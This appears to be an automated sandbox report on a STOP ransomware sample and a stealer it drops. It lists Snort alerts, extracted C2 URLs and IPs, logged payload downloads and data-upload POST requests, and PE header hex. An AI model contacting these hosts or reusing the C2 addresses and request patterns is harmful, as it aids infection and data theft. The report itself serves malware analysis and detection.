Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\6; source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ou source: Z4CYGTBlj7.exe, 00000005.00000003.2547379931.0000000003037000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2537083604.0000000003037000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2549899576.000000000303A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\Fnv source: Z4CYGTBlj7.exe, 00000005.00000003.2523612308.0000000003349000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2529895907.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530267766.00000000032DD000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523047573.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523493769.00000000032F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\( source: Z4CYGTBlj7.exe, 00000005.00000003.2369168917.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2369363954.0000000002FFF000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2146792053.0000000002FF7000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2369887103.0000000003005000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2194459630.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: Z4CYGTBlj7.exe, 00000005.00000003.2368895900.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\X8t source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2524845137.000000000364C000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530121041.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2532037869.0000000003629000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530337314.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531983307.0000000003610000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531070566.0000000003601000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\c source: Z4CYGTBlj7.exe, 00000005.00000003.2448417612.00000000034E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2461630356.0000000003598000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490428782.0000000003571000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\^j source: Z4CYGTBlj7.exe, 00000005.00000003.2460545955.00000000034F0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2446465700.0000000003550000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461630356.0000000003511000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2462953255.0000000003531000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 00000009.00000002.2287246670.000000001E8A8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2287828276.0000000020E29000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\y9 source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2460545955.00000000034F0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2446465700.0000000003509000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461630356.0000000003511000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2463706676.0000000003521000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2556880672.00000000035B8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2556774032.0000000003341000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2561102294.0000000003351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Z4CYGTBlj7.exe, 00000005.00000003.2461069714.00000000031E9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461630356.0000000003598000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461198788.00000000031FB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490428782.0000000003571000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2463635082.0000000003203000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\*a\\ source: Z4CYGTBlj7.exe, 00000005.00000003.2554424224.00000000036B9000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

System file written: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html

Jump to behavior

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	5_2_0040F730
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	5_2_00410160
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	5_2_0040FB98

Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.5:49710 -> 189.163.142.13:80
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.5:49708 -> 211.181.24.133:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.5:49708 -> 211.181.24.133:80
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 189.163.142.13:80 -> 192.168.2.5:49710
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 189.163.142.13:80 -> 192.168.2.5:49709
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.5:49711 -> 189.163.142.13:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.5:49711 -> 189.163.142.13:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199673019888
Source: Malware configuration extractor	URLs: http://cajgtus.com/test1/get.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 24 Apr 2024 10:07:05 GMTContent-Type: application/octet-streamContent-Length: 296448Last-Modified: Tue, 23 Apr 2024 19:19:16 GMTConnection: closeETag: "662809b4-48600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 24 Apr 2024 10:07:27 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Mon, 09 Oct 2023 19:50:06 GMTETag: "4ae00-6074de5a4a562"Accept-Ranges: bytesContent-Length: 306688Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 172.67.139.220 172.67.139.220
Source: Joe Sandbox View	IP Address: 211.181.24.133 211.181.24.133

Source: Joe Sandbox View	ASN Name: UninetSAdeCVMX UninetSAdeCVMX
Source: Joe Sandbox View	ASN Name: LGDACOMLGDACOMCorporationKR LGDACOMLGDACOMCorporationKR

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFHUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJEBGIEBFIJKEBFBFHIUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIECBFIDGDAKFHIEHJKFUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJDUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 7381Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJEUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 829Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 1_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_0040CF10

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: sdfjhuz.com
